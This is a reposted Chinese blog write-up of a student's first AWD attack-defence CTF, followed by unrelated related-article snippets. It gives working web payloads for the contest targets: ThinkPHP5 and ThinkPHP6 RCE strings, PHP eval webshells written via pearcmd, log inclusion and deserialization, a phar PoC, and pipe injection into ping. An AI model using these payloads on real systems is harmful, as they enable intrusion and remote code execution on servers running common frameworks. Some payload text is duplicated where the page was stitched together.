记录复现一下第一次awd

news/2024/4/29 0:43:05/文章来源:https://blog.csdn.net/qq_63928796/article/details/128961512

前言

之前没打过awd,这次学长组织了一场awd娱乐赛,两个web一个pwn,还有一个黑盒,只会web,第一次啥也不会瞎打,被打烂了,不会写脚本,手交flag的感觉真“不错”,感觉awd还是比ctf好多了(虽然啥也不会),浅浅复现一下

黑盒

tp6的洞

?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_REQUEST['a']);?>+/a.php

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tEgEXnu4-1675951929940)(第一次awd记录.assets/image-20230209220852793.png)]

web2

后门

拿到源码直接用D盾扫一下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-g0K66AC9-1675951929941)(第一次awd记录.assets/image-20230209204253007.png)]

发现一句话木马,直接访问rce即可

直接删除一句话木马即可

thinkphp5的rce漏洞

https://vulners.com/cve/CVE-2019-9082

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

逻辑漏洞

在admin的index.php中

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1aohmwLD-1675951929942)(第一次awd记录.assets/image-20230209210426024.png)]

可以包含输出/flag,并且继承了Base

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fwixj7Ng-1675951929942)(第一次awd记录.assets/image-20230209210503296.png)]

cookie中的csrf_token等于md5('QLNU'),就可以绕过

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lQdJoj21-1675951929943)(第一次awd记录.assets/image-20230209210852038.png)]

phar反序列化

题目首页有个文件上传的接口

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Bxbphgab-1675951929943)(第一次awd记录.assets/image-20230209211202182.png)]

正常传入的php会显示上传文件MIME类型不允许!

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TpvFLYZT-1675951929943)(第一次awd记录.assets/image-20230209211245252.png)]

看一下源码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JW3kEt1M-1675951929944)(第一次awd记录.assets/image-20230209212604496.png)]

upload这里有很多过滤比赛的时候也饶了好久没绕过去,完事看wp才知道是phar反序列化

看一些继承的Base

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-L9TRm04w-1675951929944)(第一次awd记录.assets/image-20230209212752288.png)]

很明显的一个__destruct()魔法函数,里面有个一eval函数可以rce,而__destruct()在对象销毁时才会触发,后面有一个file_exists读文件,可以想到Phar反序列化,学长说环境不行也没打,直接放poc

<?php
class Core{public $data='system("cat /f*");';function  __wakeup(){echo $this->data;}}
$phar = new Phar("2.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$o = new Core;
$phar -> setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

web3

后门

还是用D盾扫

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZDTptkA1-1675951929944)(第一次awd记录.assets/image-20230209213326017.png)]

删除即可

日志包含

上来文件就可以看到一个log.php

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uSuqIZ82-1675951929945)(第一次awd记录.assets/image-20230209213538053.png)]

里面啥也没有,去访问一下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kwgIy0VM-1675951929945)(第一次awd记录.assets/image-20230209213637374.png)]

可以看到包含了很多我们的操作,很容易可以想到随便一个地方,写一个一句话木马,就可以包含到log.php就可以getshell了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CcWpUPsi-1675951929945)(第一次awd记录.assets/image-20230209214337691.png)]

登录一下木马就包含到log.php中了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-A494IE7t-1675951929946)(第一次awd记录.assets/image-20230209214408738.png)]

万能密码

在这里插入图片描述

可以直接登录网站后台

ping命令执行

在user.php中的ping,可以用管道来getflag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wvBSuPy6-1675951929946)(第一次awd记录.assets/image-20230209214824260.png)]

index.php中的$c值在function.php中代表了文件名

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OYUX8IAo-1675951929947)(第一次awd记录.assets/image-20230209215227344.png)]

然后index.php中的run_a($obj,$a);在function.php运行了在$obj中的方法,$a代表方法名

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ba7D9vZ0-1675951929947)(第一次awd记录.assets/image-20230209215250673.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zZ19FcqM-1675951929947)(第一次awd记录.assets/image-20230209215416047.png)]

文件上传

用万能密码登录以后,可以看到有一个文件上传接口

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IOPRde7e-1675951929947)(第一次awd记录.assets/image-20230209215543983.png)]

随便上传一个php文件

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YtN1yf1j-1675951929948)(第一次awd记录.assets/image-20230209215608210.png)]

error了,用大小写绕过

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-We7ZpkO2-1675951929948)(第一次awd记录.assets/image-20230209215637128.png)]

可以看到可以上传成功但解析失败,环境问题

反序列化

在/common/home.php中

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pvkytdBt-1675951929948)(第一次awd记录.assets/image-20230209215802040.png)]

比较明显的一个反序列化,也是利用ping直接构造

<?phpclass home{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}   
}
$a=new home("ping",array("127.0.0.1|ls"));
echo base64_encode(serialize($a));
?>

反序列化二

在/common/calcf.php中

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-S7hl48k1-1675951929949)(第一次awd记录.assets/image-20230209220135057.png)]

也是比较明显的反序列化点,

!](https://img-blog.csdnimg.cn/09daba5f3df14983a9494b11411ac406.png)

可以看到这里有一个__wakeup,可以向log.php写入文件,写一个一句话木马即可

<?php
class chybeta{var $test='<?php @eval($_POST[a]); ?>';
}
$a=new chybeta();
echo serialize($a);//O:7:"chybeta":1:{s:4:"test";s:26:"";}

_wakeup`,可以向log.php写入文件,写一个一句话木马即可

<?php
class chybeta{var $test='<?php @eval($_POST[a]); ?>';
}
$a=new chybeta();
echo serialize($a);//O:7:"chybeta":1:{s:4:"test";s:26:"";}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_255853.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

I/O多路复用

基础概念 Socket 套接字。百科&#xff1a;对网络中不同主机上的应用进程之间进行双向通信的端点的抽象。 例子1&#xff1a;客户端将数据通过网线发送到服务端&#xff0c;客户端发送数据需要一个出口&#xff0c;服务端接收数据需要一个入口&#xff0c;这两个“口子”就是…

开发技术-Java switch case 的简单用法

文章目录1. integral-selector2. case3. break4. default5. 总结最近开发写 switch 发现有的技术点还没有掌握&#xff0c;在此做个记录。ON JAVA 中文版中&#xff0c;关于 switch 的描述为&#xff1a; switch 有时也被划归为一种选择语句。根据整数表达式的值&#xff0c;s…

数据挖掘,计算机网络、操作系统刷题笔记47

数据挖掘&#xff0c;计算机网络、操作系统刷题笔记47 2022找工作是学历、能力和运气的超强结合体&#xff0c;遇到寒冬&#xff0c;大厂不招人&#xff0c;可能很多算法学生都得去找开发&#xff0c;测开 测开的话&#xff0c;你就得学数据库&#xff0c;sql&#xff0c;orac…

FFmpeg集成qsv的编译安装

文章目录FFmpeg集成qsv的编译安装一、参考二、编译安装流程1. LibVA 和 Media-Driver 的安装2. Intel Media SDK 编译3. ffmpeg的编译安装4. 验证安装FFmpeg集成qsv的编译安装 一、参考 Ubuntu20.04 ffmpeg添加 Intel核显QSV加速支持 视频和视频帧&#xff1a;Intel GPU&…

持续集成Jenkins (四)Jenkins+git+maven项目构建、自动化部署

GIT配置1.1 前言&#xff1a;需要安装 git 客户端.yum install git1.2 Jenkins 配置插件 Git 在仪表盘选择Manage Jenkins>>Plugin Manager>>进入如下页面&#xff0c;可以选择可选的插件&#xff0c;安装完成后的插件在installed里面可以看到&#xff0c;我这里已…

Conda安装到虚拟环境中的包在pycharm中不显示--pip下载的包都到了base环境中-Ubuntu20.04

问题 今天刚装了一个Ubuntu20.04系统&#xff0c;安装完Anaconda&#xff0c;虚拟环境的包也都下载好了&#xff0c;结果在pycharm中配置完解释器后&#xff0c;只有几个基础的包&#xff0c;切换到base环境后发现&#xff0c;这些包都被下载到了base环境中。 在网上查了各种…

安装PhpStorm2020.3

1、卸载旧软件 如果已安装软件&#xff0c;先打开文件安装目录&#xff0c;找到Uninstall.exe点击卸载 删除.jetbrains目录 点击软件“PhpStorm-2020.3.exe”安装 打开软件 打开一个新建的空文件夹&#xff0c;预加载 将BetterIntelliJ.zip拖动到idea的编辑区域 然后…

我们的微服务中为什么需要网关?

说起 Spring Cloud Gateway 的使用场景&#xff0c;我相信很多小伙伴都能够脱口而出认证二字&#xff0c;确实&#xff0c;在网关中完成认证操作&#xff0c;确实是 Gateway 的重要使用场景之一&#xff0c;然而并不是唯一的使用场景。在微服务中使用网关的好处可太多了&#x…

nodejs基于vue的饭店点餐外卖平台网站

本系统主要实现了管理员&#xff1a;首页、个人中心、用户管理、菜品分类管理、菜品信息管理、菜品评价管理、系统管理、订单管理,用户&#xff1a;首页、个人中心、菜品评价管理、我的收藏管理、订单管理,前台首页&#xff1a;首页、菜品信息、菜品资讯、个人中心、后台管理、…

C++——继承那些事儿你真的知道吗?

目录1.继承的概念及定义1.1继承的概念1.2 继承定义1.2.1定义格式1.2.2继承关系和访问限定符1.2.3继承基类成员访问方式的变化2.父类和子类对象赋值转换3.继承中的作用域4.派生类的默认成员函数5.继承与友元6. 继承与静态成员7.复杂的菱形继承及菱形虚拟继承如何解决数据冗余和二…

基于深度学习的安全帽监管系统

摘 要 安全生产管理是建筑、重工业等高危企业发展的重要方针,安全帽在施工生产环境中对人员头部防护起着关键作用,因此加强安全帽佩戴监管十分必要。近年来,基于图像视觉的安全帽佩戴监测方法成为了企业实施管理的主要手段,如何提高安全帽佩戴检测精度和检测速度是应用的关键难…

【C++】 类和对象 (下)

文章目录&#x1f4d5;再谈构造函数1. 构造函数体赋值2. 初始化列表3. explicit 关键字&#x1f4d5;static 成员1. 概念2. static 成员变量3. static 成员函数&#x1f4d5; 友元1. 友元函数2. 友元类&#x1f4d5;内部类&#x1f4d5;编译器优化&#x1f4d5;再谈构造函数 1…

C# 引用DLL 静态字段和非静态字段

再讲一下如何引用dll动态链接库&#xff1a;右键项目----添加 --项目引用----选择你要添加的dll即可。在依赖项这里就可以看到。再在要用的项目那里using一下这个dll的命名空间&#xff1a;using 生成dll;然后就可以使用以下所说的两种方法去调用dll里的函数了。切记&#xff0…

canal 使用详解

第1章 Canal 简介canal [kənl]&#xff0c;译意为水道/管道/沟渠&#xff0c;主要用途是基于 MySQL 数据库增量日志解析&#xff0c;提供增量数据订阅和消费工作原理canal 模拟 MySQL slave 的交互协议&#xff0c;伪装自己为 MySQL slave &#xff0c;向 MySQL master 发送 d…

fastadmin后台表单文字过长,限制显示,鼠标悬停显示全部

问题&#xff1a;显示文字区域过长&#xff0c;影响用户体验感 解决措施&#xff1a; 特别注意&#xff1a; return "<span styledisplay: block;overflow: hidden;text-overflow: ellipsis;white-space: nowrap; title" row.contents ">" value …

【物联网平台选型】葵花宝典:盘点开源、SaaS及通用型平台的优劣势和选型适配

随着工业物联网领域和智慧物联领域的发展&#xff0c;大大小小的物联项目和物联场景需求层出不穷&#xff0c;物联网平台作为技术底座型软件&#xff0c;是不可或缺的项目地基。 市场需求下&#xff0c;物联网平台提供商越来越多&#xff0c;“打地基”的方式大体分为开源平台、…

内核数据结构-XArray

内核数据结构-XArrayXArray简介XArray 基本数据结构Xarray结构图API介绍Xarray锁参考链接XArray简介 XArray是一种抽象数据类型&#xff0c;类似于一个大的指针数组&#xff0c;它满足了许多与哈希或常规可调整大小数组相同的需求。由于 xarray 中的数据都是指针&#xff0c;使…

以太网知识-GMII / RGMII接口

今天和海翎光电的小编一起分析MII/RMII/SMII&#xff0c;以及GMII/RGMII/SGMII接口的信号定义&#xff0c;及相关知识&#xff0c;同时小编也对RJ-45接口进行了总结&#xff0c;分析了在10/100模式下和1000M模式下的连接方法。GMII 接口分析GMII接口提供了8位数据通道&#xff…

shell条件测试

文章目录三、shell条件测试3.1条件测试的基本语法3.2 文件测试表达式3.3字符串测试表达式3.4 整数测试表达式3.5 逻辑操作符三、shell条件测试 为了能够正确处理Shell程序运行过程中遇到的各种情况&#xff0c;Linux Shell提供了一组测试运算符。通过这些运算符&#xff0c;Sh…

go语言的并发编程

并发编程是 Go语言的一个重要特性,而 go语言也是基于此而设计出来的。 本文将会介绍如何使用go-gc中的“runtime”方法实现 go语言中的并发编程。 在之前的文章中,我们已经对 runtime方法进行了详细介绍,这次文章将对 runtime方法进行深入分析,并讲解如何在go-gc中使用该方…